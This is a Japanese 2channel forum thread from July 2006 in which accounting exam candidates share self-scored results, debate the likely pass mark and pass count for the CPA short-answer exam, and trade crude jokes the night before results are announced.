 おっぱいなんてただの飾りです。エロい人にはそれがわからんのですよ。

685 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:44:55 ID:???
>>676
え?オナラ吸ってクラクラじゃねーの?

686 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:46:16 ID:???
T81O82。初恋7歳。初体験14歳。


687 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:46:24 ID:???
60代の奴いないのか??

688 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:46:53 ID:???
75以上の奴なんて怖いのマークミスだけだろ?
T71、O70の俺は本気でやばぁい。

689 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:47:26 ID:???
60歳代で会計士試験受ける人は結構凄い

690 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:48:42 ID:9U2Nr8+e
キンチョーしてきた
T77 O78
絵美 
手紙書いて爆死したなぁorz

691 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:49:04 ID:???
弁理士の短答合格最高年齢ななんと91歳。

692 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 21:49:08 ID:???
T73、O73

監査13=1、管理3=5を選んだので
TAC採点とO採点が同じ

693 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:49:30 ID:???
た84お84

明日も朝1アクセス受けてきます

694 :685:2006/07/04(火) 21:50:29 ID:???
やば、すべった臭いorz

695 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:53:12 ID:???
>>691
90歳の人が受かる影で20台の奴が落ちるのは何か可哀想だな
まあ実力の世界といえばそれまでなんだが

696 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:54:30 ID:???
前日の夜って例年もこの程度の盛り上がりなの?
もっと不安やら煽りが交錯するもんだと想像してた

697 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:54:38 ID:8GUWdyeZ
お、おれタク71大73

落ちたら落ちたで報告するよ



698 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:54:55 ID:???
>>694
一瞬レスが止まったなw

699 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:55:39 ID:???
渋谷のやつ特定するぞ

700 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:56:18 ID:???
合格通知きた。
近畿は大阪商業大学。

701 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:56:45 ID:???
>>700
早いよw

702 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:58:15 ID:???
>>690
どうってことない。俺なんか妄想で雅美が俺宛に書いたラブレターを自分で書いた
で、それをランドセルに入れてたら親にばれた

703 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 21:59:55 ID:???
T79O81
受験番号の上3ケタが「オシム」と読めるから間違いない

704 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:01:27 ID:9U2Nr8+e
>>702
電車の中で吹き出したじゃねーか

705 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:02:26 ID:???
>>703
名前が公表されないことがわかったしみんな番号さらしまくろうぜ。


706 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:07:40 ID:???
>>705
ほら、一応論文合格するつもりだしさ

707 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:07:53 ID:???
官報翌日だけど名前出るんじゃないの?

708 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:08:25 ID:???
03582

709 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:08:49 ID:???
>>707
俺もそう思ってた

710 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:10:23 ID:???
>>708
えっ!?まじで大丈夫なのか?

711 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:10:52 ID:???
>>705
下2ケタはジェフの昔のスタジアムのあった駅の名だ。つまり最高に演技がいい。読み方変えれば「大喜び」

712 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:12:04 ID:???
http://www.fsa.go.jp/cpaaob/tantou06.pdf

713 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:12:05 ID:???
>>707
受験要項読めば分かるよ

714 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:13:35 ID:L7gSzXWT
クレジットカードって無職でも作れるの?

715 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:13:49 ID:???
>>713
もってないので教えて!

716 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:15:10 ID:???
>>715
713じゃないが、

合格者については、合格通知書を郵送し、その受験番号を官報
に公告するほか、各財務局等において掲示します。公認会計
士・監査審査会ホームページにおいても掲載します。

717 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:16:28 ID:???
>>715
短答合格は官報でも番号のみ
論文合格は氏名あり

718 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:16:57 ID:???
国1は短答の発表前日に合格通知が来ることがあるらしいが

719 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:17:15 ID:???
>>716
それって毎年と同じじゃない。
ということは多分、翌日の官報に名前でると思うよ。

720 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:17:56 ID:qneb1xpW
氏名を公告するとは書いてないな

721 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:18:06 ID:???
官報買おうか

722 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:18:42 ID:???
今年から論文も短答も名前でないよ

723 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:19:19 ID:???
>>722
論文は官報に名前出すって書いてあるよ。

724 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:19:49 ID:???
徹夜する(もしくは寝付けない)人どれくらいいるの?

725 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:19:58 ID:???
タック73
大原75

726 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:21:51 ID:qneb1xpW
ちなみに論文合格すると宅から官報が送られてくる。



2月ごろに。。。。。

727 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:22:43 ID:???
今日はワールド割賦が四時からあってよかたーよ。


728 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:24:29 ID:???
おいおい、発表前に正式な2ちゃんボーダー決めるぞ。
73でいいよな!

729 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:24:38 ID:???
去年短答受かったら、斎藤社長から葉書来てたけど、
アレはどうやって調べてるんだ?

730 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:26:27 ID:???
ボーダー付近だけど試験前日に比べたらまだ緊張しないわな

731 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:27:19 ID:???
朝からすると、おそろしくスレがのびてるな。
びっくり。

732 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:27:33 ID:???
サッカー見て発表に備えるにはもう寝なきゃw

733 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:30:17 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを73と決定した・・・。


734 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:30:52 ID:???
疑義抜きですか?それは。

735 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:31:12 ID:???
66次演野郎ですが何か?

736 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:31:36 ID:???
人類史上 新会計士試験ノ試シ無シ。
マシテ短答合格者4000人ノ試シ無シ。

諸君 歴史ヲ生ムベシ。



737 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:32:11 ID:PKdaaWER
ID出して煽りぬきにボーダー予想
ズバリ74だな
人数は現状維持の3500と見た

738 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:32:15 ID:???
ヤバイ緊張で胸の鼓動を確かめようとしたら太りすぎてて音がわからない

739 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:32:30 ID:8UHDTxFv
郵便での連絡は何日後くらいに家に毎年着くものなの?

740 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:33:00 ID:???
疑義込み73
つまり中グロ発表が73とよそう。

741 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:33:02 ID:???
ずっと前2チャンボーダー72で決定してるのみたけど73がFAでいいの?

742 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:33:51 ID:+ZejEQvn
72!

743 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:34:26 ID:???
70点基準で増えるにしろ2年免除で減るにせよ去年までの3500基準は
意味ないと思うよ

744 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:35:02 ID:???
今回は 本当にボーダーが73になりそうだから
2ちゃんのボーダーとしては 79が最適だよ

745 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:35:27 ID:???
昨日、夢で合格者4100人と・・・
正夢かな。でも、俺は落ちてたんだけどね・・・ww

746 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:36:03 ID:+ZejEQvn
ようし、正式な中グロ発表(疑義込み)を2ちゃんでは72。
4100人合格でいい?
異議あるならIDさらせよ。

747 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:36:53 ID:???
現実的に考えて人数はちょい増えの4000人くらいじゃないか?
ボーダーは73と予想

748 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:37:21 ID:???
今ID晒してもな。
強弁する人は日付変わってからIDを晒して
発表後にも勝利宣言・敗北宣言出してくれ。

749 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:37:57 ID:???
俺は4じからサッカー見ようとも思ったけど、
勉強疲れでもう眠たい。
早めに寝て明日自習部屋行く前にネット見るわ。
調ねみーー

750 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:38:35 ID:PKdaaWER
いや、別に、「俺の予想が合ってただろwww」とかやりたいわけじゃなくて
みんな真面目にどれぐらいと予想してるのかなと思ってね

751 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:39:44 ID:???
前日になったから言えるけど、試験後審査会に電話したんだが、財務5は「2」との確証を得た。

752 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:39:47 ID:???
だから71だって。

753 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:40:27 ID:???
73以下はありえない

754 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:41:06 ID:???
>>729
官報に名前出るじゃん。
受験者15000人くらいなら、名前がかぶることも殆どないし、
会計士講座受講生の名前とデータベースソフトでつき合わせすりゃ一発だよ。

755 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:41:14 ID:???
>>751
審査会ってそんな軽口だったのか。こりゃ大問題だな。

756 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:42:04 ID:???
俺、昨夜の主張73
希望74or75





757 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:42:24 ID:???
2ちゃんボーダー決めようや。
来年、去年は2ちゃんボーダー決まらなかったよね〜、とか言われたくない。

758 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:43:04 ID:VbZUB1Fw
73で4000人てのは妥当だと思う 去年くらいなら74なんだろうね

759 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:44:49 ID:???
平塚に入団した95年には将来、会計士になることを公言。
昨秋には投資目的で米ニューヨークにビルを購入した。
今季から「mocなでしこリーグ」となったサッカー女子
リーグに、冠スポンサーの株式会社モックを紹介するなど
経営のセンスも高い。マネジメント契約を結ぶサニーサイド
アップの次原悦子社長は「中田はビジネスのことを考えるのが、
気分転換になっている。こんなことまで考えているのだと驚く
ことがある」と語る。
http://www.sponichi.co.jp/soccer/news/2006/07/04/02.html


760 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:44:57 ID:???
よし、73な!
べつに2ちゃんぼーだーだからあたらなくてもいいだろ。

761 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:46:14 ID:???
今回は本当にボーダーが73になりそうだから 2ちゃんのボーダーとしては79ね!

79 確定



762 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:46:27 ID:???
73って2ちゃんだからていうより
普通になりそうなんだけど

763 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:47:09 ID:PKdaaWER
ID出してる奴の意見がまともすぎて困る
まあ72〜75あたりが妥当な線ってことか

764 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:47:23 ID:???
>>755
明日になったらわかるさ。

765 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:49:02 ID:???
じゃあ75にしよう!
7月5日だし。
これでいいですか?


766 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:49:09 ID:???
明日の9時前後は審査会のページ重いんだろうな。


767 :2chボーダー決定:2006/07/04(火) 22:50:36 ID:???
2chボーダーは専門と違ってぶっちゃけで行きたいので
o原採点監査19抜きで73(出来れば管理3も抜いて欲しいが…)で決定
します。
ボーダー予想して、ボーダー以上で落ちてたらその人は困ると思うから去年基準
を守って73で確実に行くのがいいと思う。

768 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:50:56 ID:???
>>765
いえすさー

769 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:51:33 ID:???
9時にはF5をピアノ連打するぜ。

770 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:51:57 ID:???
彼、もう吹っ切れたみたいだね


771 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:52:11 ID:???
胃が痛い

772 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:52:40 ID:moOVN+LN
短答の日から今日までここに張り付いてた奴告白してこうぜ
煽ったやつもぶっちゃけていこう
俺は毎日30分は見てた

773 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:53:05 ID:???
監査13、14でサプライズ起きれば1点近くボーダー下がる
管理3と監査19はそんなに影響ないが

774 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:53:13 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを75と決定した・・・。


775 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:53:15 ID:???
>>772
点数も晒さないと

776 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:53:35 ID:???
66ジエン野郎ですが何か?

777 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:53:56 ID:moOVN+LN
>>775
T74
O76

778 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:53:57 ID:???
>>765
いや、スレの流れは66〜70


779 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:54:06 ID:+ZejEQvn
一日4時間みてました。


780 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:54:22 ID:???
毎日ドキドキで1日5,6時間しか勉強できなかった、この1ヶ月

781 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:55:56 ID:???
2ちゃんボーダー75
実質 73

でおけ?

782 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 22:56:43 ID:???
和賀杯は、ヒヤシチュウカ好きの藻のです。

783 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:56:43 ID:???
>>781 だめだ

784 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:56:49 ID:???
>>776
>>778に向けてしなきゃならないレスあるだろ

785 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:56:58 ID:???
このスレにはまってしまった。

786 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:57:06 ID:???
>>772
30分って普通だろ
1日13時間勉強してる俺でも30分は見てる

787 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:57:11 ID:???
>>781
決定ですね。
ようやくいい年越しができそうです。

788 :2chボーダー決定:2006/07/04(火) 22:57:48 ID:???
2chボーダーは専門と違ってぶっちゃけで行きたいので
o原採点監査19抜きで73(出来れば管理3も抜いて欲しいが…)で決定
します。
ボーダー予想して、ボーダー以上で落ちてたらその人は困ると思うから去年基準
を守って73で確実に行くのがいいと思う。

789 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:58:00 ID:???
今日は活発だな。


790 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 22:59:42 ID:???
だから 2ちゃんボーダー79
実質73って言ってるだろうが

79で決定な

希望的観測は やめろ

791 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:00:20 ID:moOVN+LN
>>786
いや海外サッカー板にもっと張り付いてた

792 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:00:24 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーを75と決定した・・・。


793 :2chボーダー決定:2006/07/04(火) 23:00:52 ID:???
>>790
それはアホだろ
さすが790のことだけある
頭くるって 790→79にしてしまったんだなw

794 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:01:30 ID:???
このスレを見た時間を全て租税に当てていれば、1ヶ月でだいぶ仕上がったかも・・

795 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:01:52 ID:???
75には7月5日という揺るぎない根拠がある。

796 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:02:37 ID:PKdaaWER
78祭りとか68祭りが見たい

797 :2chボーダー決定:2006/07/04(火) 23:03:03 ID:???
当委員会は本年度公認会計士試験短答式のボーダーを
75と修正した。

798 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:03:17 ID:???
なんだか急につまんなくなったな〜

799 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:03:21 ID:???
>>781でいいだろ?

800 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:03:47 ID:???
今日は独立記念日だから74

801 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:04:41 ID:???
>>796
お前かなり余裕ありそうだな。まるで観客のようだw

802 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:05:10 ID:???
合格発表は明日だ。

803 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:05:18 ID:???
2チャンのあおりは巧妙なラインをつかなければならない。79はあまりうまくない。てかつまらない

804 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:06:01 ID:???
あと10時間切ったな。

805 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:06:04 ID:???
2chボーダーは75こそふさわしい


806 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:06:05 ID:???
>>778
同意

807 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:06:14 ID:???
ボーダーが何点かは別として
会計士試験の適正値は74〜76だな

808 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:07:02 ID:???
今だからあかすが短刀2日目、俺うん子もらしながら受けたんだ。
駅からあるいてくときに屁をしたら、自分がゲリと言うことに気付いてなくて
少し見がでてしまぅた。
後ろの人すまん。

809 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:08:06 ID:???
なんか試験中、前の奴が挙動不審かつウンコ臭かったんだけど……

810 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:08:06 ID:???
てか70とか71だと財務5割行ってねえ奴が受かっちゃうだろ
簿記が全然できない会計士ってありえねーよw

811 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:09:03 ID:???
財管合計ボーダー40も併せて設けるべきだな

812 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:09:47 ID:???
そういや、俺の前の女の子がうんこくさかったな。
エビちゃんに似てる人で、この人の臭いだと思って、つい深呼吸しちゃった。
意識が遠くなって、気付いたら10分経過していたよ。

813 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:10:27 ID:???
66君改めうんこ自演君

814 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:12:53 ID:???
>>813

ハハハハ・・さす賀ですね金田一君.
よく私が66自演君と見抜きましたね。



815 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:12:54 ID:???
>>523
どうしたの

816 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:13:06 ID:???
>>812
おま、それ逆ナンじゃねーか!

817 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:14:07 ID:???

明日って何の日なん?

818 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:14:40 ID:???
>>817
待ちに待った「パタリロ西遊記」第3巻の発売日!!!!

819 :818:2006/07/04(火) 23:15:27 ID:???
間違った。。

パタリロ「源氏物語」第3巻だった。。。。orz

820 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:15:58 ID:???
どっちでもいいよwwwwwwww

821 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:16:17 ID:???
>>814
いえいえ

822 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:18:08 ID:???
以外大尉が板いいが痛い

823 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:19:05 ID:???
短答スレともお別れだな。。なきそう

824 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:20:00 ID:???
短答スレともお別れだな‥

825 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:20:12 ID:???
論文スレであえるだろ。

826 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:20:26 ID:???
>>819
とにかく君のパタリロに対する熱い思いは伝わったよ


827 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:20:56 ID:???
会えない奴らだろw

828 :415最後の勇姿:2006/07/04(火) 23:21:38 ID:???
>>822
おまえあきらめたほういいよ
おれの周り33点以下全然いないから

829 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:21:39 ID:???
2ちゃんボーダー決定で議論することもなくなったな。
前夜はあの人に登場してもらいましょうか!
↓「びち太郎」さんどうぞ!

830 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:22:25 ID:???
お互いがんばろうね

831 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:24:14 ID:???
明日は、研究員の人が来てくれるはず。

832 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:25:17 ID:???
まさか415粘着きちがいは66君だったのかな?


833 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:26:11 ID:???
今思うと初日33以下は全然いないって結構当たってるよなw

834 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:26:34 ID:???
疑義こみ74の自分ですらいやな気分なのに
疑義こみ70とかの人はもっといやな気分なんだろうね

835 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 23:28:32 ID:???
電設415と66君は同一人物ではありません。

しかし、びち太朗、電設415はユウメイジンだったな。

836 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:28:37 ID:???
今だから言える
管理会計終わったときは、財務なんて1時間でも受かるぜwwwwとか思ってました

837 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:29:30 ID:???
短答一日目

疑義問騒動、びち登場、おれのまわり〜が流行る

短答二日目終了

財務祭り

ボーダー祭り

日本敗北

ボーダー祭り

合格発表前夜2ちゃんボーダー決定

838 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:31:04 ID:???
カンニングした奴いる?

839 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:31:19 ID:???
今だから言える
財務の採点してて3問連続間違えた時に心拍数一気にあがったww

840 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:31:53 ID:???
財務11番の営業権(笑)祭りを忘れてもらっちゃあ困る

841 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:33:30 ID:IGNSDtbD
今だから言える。
財務終わったときは足斬り死亡だと思ってましたwww

採点したら30で、しかも4科目中で最高順位だったけどwww

842 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:33:32 ID:???
今だから言える
財務会計の11番間違えましたorz

843 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:34:50 ID:???
誰か>>837を作り変えろや。

844 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:35:10 ID:???
今だから言える
短答初日、早稲田の便所でひとくちゲロ吐いたwwwwwww

845 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:36:58 ID:???
今だから言える
短答初日、早稲田の便所でオナニーした

846 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:37:34 ID:???
>>841は4行目が人間の小ささを表してるな
2行目で止めておけばよかったのに

847 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:39:24 ID:???
3科目採点終わって17、16、15でまぁ大丈夫だろと余裕かましてたら、
4科目目が22ですた。
落ちてたら撤退なので神様ボーダー70で。

848 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:40:16 ID:???
>>846
ケッケッケッ

849 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:42:22 ID:???
>>847
17,16,15って全然余裕じゃねえからww

850 :842:2006/07/04(火) 23:42:42 ID:???
ところで財務の11って正答率どれぐらいだったの?
リサーチ出してないからわからん

851 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:43:32 ID:???
祭りになる前に誘導↓

短答落ちの皆様へ
http://school5.2ch.net/test/read.cgi/exam/1149517678/

852 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:46:31 ID:???
疑義込み70って、採点しない方がマシだったな
精神衛生的に。

853 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:46:53 ID:???
>>850
大原で52.2%だぜ!

854 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:47:48 ID:???
>>850
タックでは、正答率52.3%。26%が1を選択してる。

855 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:49:05 ID:???
>>853-854
サンキュ
意外と間違えてる奴多いんだなwアホばっかりだ

856 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:51:04 ID:???
全体で多数派が正解してないのは3問だけだ。
疑義も多数派でくるかな?

857 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:51:30 ID:???
短答本番リサーチで50%って結構低いほうだよね

普通のトウレンで出したら30%ぐらいかも

858 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:52:25 ID:???
公式解答とボーダーって審査会HPに掲載される?

859 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:52:40 ID:???
>>856
多分多数派じゃないかな

860 :びち太郎 ◆TJ9qoWuqvA :2006/07/04(火) 23:53:21 ID:6/WBnP/M
>>858
されますよ。

861 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:53:38 ID:???
>>847
俺は20、18、18でらくしょーと思ってたら、最後19でしたorz

862 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:54:02 ID:???
今さらだけどリサーチ出しておけばよかった
正答率とか見るのって楽しそうだね

863 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:54:21 ID:???
>>860
びちキタキタキタキタ━━━(゚∀゚≡(゚∀゚≡゚∀゚)≡゚∀゚)━━━━!!

本物??

864 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:55:10 ID:???
>>860
レスありがとう。

865 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:55:33 ID:???
>>860
というわけでボーダーと人数の予想をよろ

866 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:55:48 ID:???
サプライズあっても監査19だけのような気がする。

867 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:55:53 ID:???
>>びち太郎
登場!!!!!!!
今だに監査14は2か?

868 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:56:06 ID:???
>>866
財務5くるよ

869 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:56:24 ID:???
監査問13:3
監査問14:2
監査問19:1でいいよね?

870 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:56:25 ID:???
>>860
氏ね

871 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:56:28 ID:???
>>860
お互いうかってるといいね

論文がんばろうね

872 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:57:10 ID:???
>>866
おらもそうおもう

>>869
うん

873 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 23:57:27 ID:???
びち再起動。

874 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:00:04 ID:???
びちさん、一言だけ??

875 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:00:04 ID:JO0QITpM
ここまで採点してこなかったおれw
おかげでそこそこ勉強はできたが
はたしてどうでるかw

876 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:01:47 ID:???
あと、9時間!

877 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:01:56 ID:???
そして運命の日・・・

878 :びち太郎 ◆TJ9qoWuqvA :2006/07/05(水) 00:02:10 ID:jQFwt7SL
合格者数は、少なくても3500人はいくでしょうね。
多くても5000人までだと思います。

879 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:02:50 ID:???
ボーダー予想  講師予想(座談会)
TAC 70前後  76
大原 70前後  62〜65
LEC 70前後   64〜67
CPA 66〜68   65 
クレ ?     ?




880 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:02:57 ID:???
>>878
氏ね

881 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:03:04 ID:???
>>びち
ぼーだーは?

882 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:04:00 ID:???
レンジが広すぎw
確かに予想は難しいがもうちょい絞れよ

883 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:04:10 ID:???
シャーペンでのマークが読み取れてるかが心配だわ。

884 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:04:42 ID:???
3500人じゃ去年より短答合格率ひくくなっちゃうよおお

885 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:04:56 ID:???
シャーペンでも大丈夫だろ。
でも、小心者の俺はえんぴつでマーク。

886 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:04:58 ID:???
当然だけどもう決まっているんだよね。

887 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:05:08 ID:???
マークミスは心配だな
特に財務

888 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:05:38 ID:???
小心者の俺は目立つように赤えんぴつでマーク。

889 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 00:05:50 ID:???
誰か暮れの平均点分からないの?

